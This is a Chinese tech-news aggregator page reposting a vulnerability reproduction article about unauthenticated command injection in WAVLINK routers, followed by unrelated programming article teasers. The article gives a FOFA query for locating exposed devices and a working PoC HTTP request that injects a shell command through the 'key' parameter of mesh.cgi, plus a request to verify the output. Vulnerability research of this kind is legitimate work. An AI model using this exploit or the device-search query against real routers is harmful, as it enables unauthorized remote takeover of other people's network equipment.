当前位置： 首页 > news >正文

wavlink 路由器 多处前台RCE漏洞复现

news 文章来源：https://blog.csdn.net/qq_41904294/article/details/135137861 2024/11/19 5:57:26

 0x01 产品简介

WAVLINK是中国睿因科技（WAVLINK）公司开发的一款路由器。

0x02 漏洞概述

WAVLINK路由器mesh.cgi、nightled.cgi、live-api.cgi等接口处存在命令执行漏洞，攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。

0x03 复现环境

FOFA：icon_hash="-1350437236"

0x04 漏洞复现

PoC-1

POST /cgi-bin/mesh.cgi?page=upgrade&key=';id>./2.txt;' HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 0

验证

GET /cgi-bin/2.t

相关文章：

wavlink 路由器 多处前台RCE漏洞复现

0x01 产品简介 WAVLINK是中国睿因科技（WAVLINK）公司开发的一款路由器。 0x02 漏洞概述 WAVLINK路由器mesh.cgi、nightled.cgi、live-api.cgi等接口处存在命令执行漏洞，攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。 0x…...

编程日记 2023/12/21 19:32:40

互联网中的商品超卖问题及其解决方案：Java中Redis结合UUID的应用

前言 在设计商品下单和库存扣减，你一定遇到过这样的问题，库存扣减为0了，可是消费者还能下单，并将订单信息保存到了数据库里，针对商品超卖问题，作此篇以解决。 随着互联网商业的飞速发展，商品超…...

编程日记 2023/12/21 19:31:39

mysql：查看线程缓存中的线程数量

使用命令show global status like Threads_cached;可以查看线程缓存中的线程数量。 例如，查询线程缓存中的线程数量如下： 然后启动应用程序，使用连接，查询如下： 由查询结果可以看到，线程缓存中的线程数量…...

编程日记 2023/12/21 19:29:37

线性表，也是Java中数组的知识点！

线性表定义： 由n (n≥0)个数据特性相同的元素构成的有限序列称为线性表，(n0)的时候被称为空表。 线性表的顺序表示 线性表的顺序存储又被称为顺序表 优点 无需为表示表中元素之间的逻辑关系而增加额外的存储空间可以随意读取任意位置的元素 缺点 插入…...

编程日记 2023/12/21 19:28:36

java使用面向对象实现图书管理系统

꒰˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好，我是xiaoxie.希望你看完之后,有不足之处请多多谅解，让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN …...

编程日记 2023/12/21 19:27:35

2023 英特尔On技术创新大会直播 |我感受到的“芯”魅力

文章目录 每日一句正能量前言AI时代，云与PC结合为用户带来更好体验全新处理器，首次引入针对人工智能加速的NPU大模型时代，软硬结合带来更好训练成果后记 每日一句正能量 成长是一条必走的路路上我们伤痛在所难免。 前言 在2023年的英特尔On技…...

编程日记 2023/12/21 19:24:32

Atium Designer 23 全新功能-丝印制备，解决DFM问题

进行PCB设计时需要养成良好的设计习惯，才能保证后期的生产效果。例如整板上需要保证丝印跟阻焊的间距规则避免产生丝印重叠造成的PCB制造设计（DFM）问题。丝印重叠阻焊的影响有如下： 1）PCB板后期打样，一般是…...

编程日记 2023/12/21 19:20:29

Nginx快速入门：安装目录结构详解及核心配置解读（二）

0. 引言 上节我们讲解了nginx的应用场景和安装，本节继续针对nginx的各个目录文件进行讲解，让大家更加深入的认识nginx。并通过一个实操案例，带大家来实际认知nginx的核心配置 1. nginx安装目录结构 首先nginx的默认安装目录为：…...

编程日记 2023/12/21 19:19:29

测试TensorFlow/PyTorch的GPU版本是否启用

文章目录 1. Pytorch测试代码2. TensorFlow测试代码 后续遇到好的会不断更新。。。 1. Pytorch测试代码 import torch def gpu_is_available():print(\nGPU details:)print(f gpu_is_available : , torch.cuda.is_available())print(f cuda_device_count : , t…...

编程日记 2023/12/21 19:16:26

字符串逆序输出

逆序输出就是本来abc输出的，然后我想让他输出成cba，那么我们还是要用到for循环，只不过原先是从零开始往上加，这回呢，是从上面往下减 我们观察上面这个图片，我们想要输出olleh，那么我们就要从4开…...

编程日记 2023/12/21 19:14:24

期货平仓日历(期货平仓日期汇总)

什么是期货平仓日历？ 期货是一种高风险高收益的投资品种。而期货交易不同于股票等其他投资品种的交易，期货交易需要在一定时间内才能买卖。而期货平仓日历就是指期货交易中规定的所有合约的平仓日期汇总。 常见期货平仓日期和时间？ 不同的…...

编程日记 2023/12/21 19:13:23

计算机网络-进阶

目录 易混淆物理层数据链路层网络层nat如何实现私有ip通信IP数据报 格式解析tcp 连接tcp流量控制滑动窗口拥塞控制 报文捕获 wireshark路由模拟器 enspcdn代理服务器 VS cdn VS web cache 计算机有了物理地址，为什么还要有ip地址？单播 多播 广播 传输层会…...

编程日记 2023/12/21 19:09:20

LED恒流驱动芯片SM2188EN：满足LED灯具出口欧盟所需的ERP能效认证标准和要求

LED灯具是一种节能环保的照明产品，因其高效节能、长寿命等优点而备受消费者青睐，成为照明市场的主流产品。作为LED灯具出口欧盟市场的必备条件，ERP能效认证标准和要求对LED灯具的能效性能提出了严格的要求。 首先，ERP能效认证标准…...

编程日记 2023/12/21 19:08:19

RocketMQ系统性学习-RocketMQ原理分析之消费者的接收消息流程

🌈🌈🌈🌈🌈🌈🌈🌈 【11来了】文章导读地址：点击查看文章导读！ 🍁🍁🍁🍁🍁🍁&#x1f3…...

编程日记 2023/12/21 19:07:17

butterfly蝴蝶分类

一、分类原因 由于植物分类所使用的数据集存在一定问题，修改起来比较麻烦，本次采用kaggle的ButterflyMothsImageClassification数据集，对100这种蝴蝶进行分类。 二、100中蝴蝶类别 ‘ADONIS’,‘AFRICAN GIANT SWALLOWTAIL’,‘AMERICAN S…...

编程日记 2023/12/21 19:06:16

计算机基础：网络基础

目录 一.网线制作 1.制作所需要工具 网线制作标准 ​编辑 2.水晶头使用 3.网线钳使用 4.视频教学 二.集线器、交换机介绍 1.OSI七层模型 2.TCP/IP四层参考模型 3.集线器、交换机。路由器介绍 集线器 交换机 路由器 区别 三.路由器的配置 1.路由器设置 说明书 设…...

编程日记 2023/12/21 19:05:15

[原创][R语言]股票分析实战[3]:周级别涨幅趋势的相关性

[简介] 常用网名: 猪头三 出生日期: 1981.XX.XX QQ联系: 643439947 个人网站: 80x86汇编小站 https://www.x86asm.org 编程生涯: 2001年~至今[共22年] 职业生涯: 20年 开发语言: C/C、80x86ASM、PHP、Perl、Objective-C、Object Pascal、C#、Python 开发工具: Visual Studio、D…...

编程日记 2023/12/21 19:02:12

MSVC编译 openssl windows 库

开发需要在windows下集成 openssl 库，参考官方指导完成了编译：openssl/NOTES-WINDOWS.md at master openssl/openssl 不过，最后还是走了直接下载的捷径。 1. 安装 ActivePerl 需要在 ActiveState 注册账户，之后彼会提供具体的…...

编程日记 2023/12/21 19:01:11

electron兼容统信UOS系统过程中的坑

这里写目录标题 找统信支持人员咨询过，他们说不对electron提供支持，如果需要兼容统信UOS还是建议换个开发技术gbm_bo_map--no-sandboxNo protocol specified任务栏图标总结 找统信支持人员咨询过，他们说不对electron提供支持，如果…...

编程日记 2023/12/21 18:59:10

Flink系列之：Apache Kafka SQL 连接器

Flink系列之：Apache Kafka SQL 连接器 一、Apache Kafka SQL 连接器二、依赖三、创建Kafka 表四、可用的元数据五、连接器参数六、特性七、Topic 和 Partition 的探测八、起始消费位点九、有界结束位置十、CDC 变更日志（Changelog） Source十一…...

编程日记 2023/12/21 18:57:08

灰盒测试简要学习指南！

在本文中，我们将了解什么是灰盒测试、以及为什么要使用它，以及它的优缺点。 在软件测试中，灰盒测试是一种有用的技术，可以确保发布的软件是高性能的、安全的并满足预期用户的需求。这是一种从外部测试应用程序同时跟踪其内部操作…...

编程日记 2023/12/21 18:56:07

【经典LeetCode算法题目专栏分类】【第7期】快慢指针与链表

《博主简介》 小伙伴们好，我是阿旭。专注于人工智能AI、python、计算机视觉相关分享研究。 ✌更多学习资源，可关注公-仲-hao:【阿旭算法与机器学习】，共同学习交流~ 👍感谢小伙伴们点赞、关注！ 快慢指针 移动零 class…...

编程日记 2023/12/21 18:55:05

springboot解决XSS存储型漏洞

springboot解决XSS存储型漏洞 XSS攻击 XSS 攻击：跨站脚本攻击(Cross Site Scripting)，为不和 前端层叠样式表(Cascading Style Sheets)CSS 混淆，故将跨站脚本攻击缩写为 XSS。 XSS(跨站脚本攻击)：是指恶意攻击者往 Web 页面里插…...

编程日记 2023/12/21 18:53:03

I.MX6ULL_Linux_驱动篇(47)linux RTC驱动

RTC 也就是实时时钟，用于记录当前系统时间，对于 Linux 系统而言时间是非常重要的，就和我们使用 Windows 电脑或手机查看时间一样，我们在使用 Linux 设备的时候也需要查看时间。本章我们就来学习一下如何编写 Linux 下的 RTC 驱动程…...

编程日记 2023/12/21 18:51:02

详解IBM企业架构框架模型CBM

（一）：什么是CBM IBM的CBM是组件化业务模型（Component Business Model），是IBM在2003年提出的一种业务架构方法论。 目的是通过将企业的业务活动划分为一些独立、模块化、可重用的业务组件，来识…...

编程日记 2023/12/21 18:50:01

宝塔面板安装MySQL数据库并通过内网穿透工具实现公网远程访问

文章目录 前言1.Mysql 服务安装2.创建数据库3.安装 cpolar3.2 创建 HTTP 隧道 4.远程连接5.固定 TCP 地址5.1 保留一个固定的公网 TCP 端口地址5.2 配置固定公网 TCP 端口地址 前言 宝塔面板的简易操作性,使得运维难度降低,简化了 Linux 命令行进行繁琐的配置,下面简单几步,通…...

编程日记 2023/12/21 18:47:58

Elasticsearch 性能调优基础知识

Elastic Stack 已成为监控任何环境或应用程序的实际解决方案。 从日志、指标和正常运行时间到性能监控甚至安全，Elastic Stack 已成为满足几乎所有监控需求的一体化解决方案。 Elasticsearch 通过提供强大的分析引擎来处理任何类型的数据，成为这方面的基…...

编程日记 2023/12/21 18:44:56

速盾网络：网络安全守护者

速盾网络作为一家专业的网络安全服务提供商，致力于为企业和个人提供全面、高效、可靠的网络安全解决方案。以下是速盾网络的主要业务介绍： 一、CDN加速 速盾网络拥有全球化的CDN加速网络，通过分布在全球各地的节点，为客户提供快速…...

编程日记 2023/12/21 18:43:56

jmeter如何参数化？Jmeter参数化设置的5种方法

jmeter如何参数化？我们使用jmeter在进行测试的时候，测试数据是一项重要的准备工作，每次迭代的数据当不一样的时候，需要进行参数化，从参数化的文件中来读取测试数据。那么，你知道jmeter如何进行参数化吗&…...

编程日记 2023/12/21 18:40:53

01AVue入门(持续学习中)

1.使用AVue开发简单的前端页面直接简单到起飞,他是Element PlusVueVite开发的,不需要向元素的前端代码一样一个组件要传很多参数,他可以使用Json文本来控制我们要传入的数据结构来决定显示什么 //我使用的比较新,我们也可以使用cdn直接使用script标签直接引入 2.开发中遇到的坑…...

编程日记 2023/12/21 18:39:52

服务器网站部署端口配置/郑州seo代理外包公司

在基于Java的内容管理系统(CMS)的世界中导航并不是最简单的任务。新的解决方案不断涌现，以帮助用户管理其网站和web应用程序上的内容。各种内容管理系统的规模、价格和可扩展性各不相同。 这里有目前使用的一些最流行的Java CMS。 Magnolia Magnolia是一个完全无头的…...

编程日记 2024/11/19 4:48:54

海宁网站开发/郑州seo排名哪有

数据可以用不同的形式进行描述或存储在计算机存储器中。最常见的数据描述方法有：公式化描述、链接描述、间接寻址和模拟指针。　　公式化描述借助数学公式来确定元素表中的每个元素分别存储在何处（如存储器地址） 。最简单的情形就是把所有元素…...

编程日记 2024/11/19 2:20:24

浏览国外服务器的网站/百度推广电话销售好做吗

root用户删除文件提示：Operation not permitted http://blog.csdn.net/evanbai/article/details/6187578转载于:https://www.cnblogs.com/diyunpeng/p/7648537.html...

编程日记 2024/11/19 0:44:07

c 做网站/站长之家网站排名

一，安装 RabbitMQ 首先要先安装 erlang 1，到erlang官网下载 OTP 19.0 Source File 2，解压 tar zvxf otp_src_19.0.tar.gz 3,cd otp_src_19.0 4 ,./configure --prefix/opt/erlang --without-javac 编译 发现问题，解决问题&…...

编程日记 2024/11/18 23:10:19

做静态网站软件/百度知道首页官网

远程医疗是什么远程医疗是指通过计算机技术、通信技术与多媒体技术，同医疗技术相结合，旨在提高诊断与医疗水平、降低医疗开支、满足广大人民群众保健需求的一项全新的医疗服务。目前，远程医疗技术已经从最初的电视监护、电话远程诊断发展到利…...

编程日记 2024/11/18 21:10:18

做问卷调查用哪个网站好/青岛seo整站优化哪家专业

VMware安装后主机未连接虚拟网卡VMnet1和VMnet8 安装VMware后，打开虚拟网络编辑器 发现VMnet1和VMnet8 主机未连接 情况如下： 1、还原默认还是显示未连接 2、发现VMnet1和VMnet8的主机连接还是没有连接 解决方法 首先卸载VMware 并且将C\ProgramData下的…...

编程日记 2024/11/18 20:18:49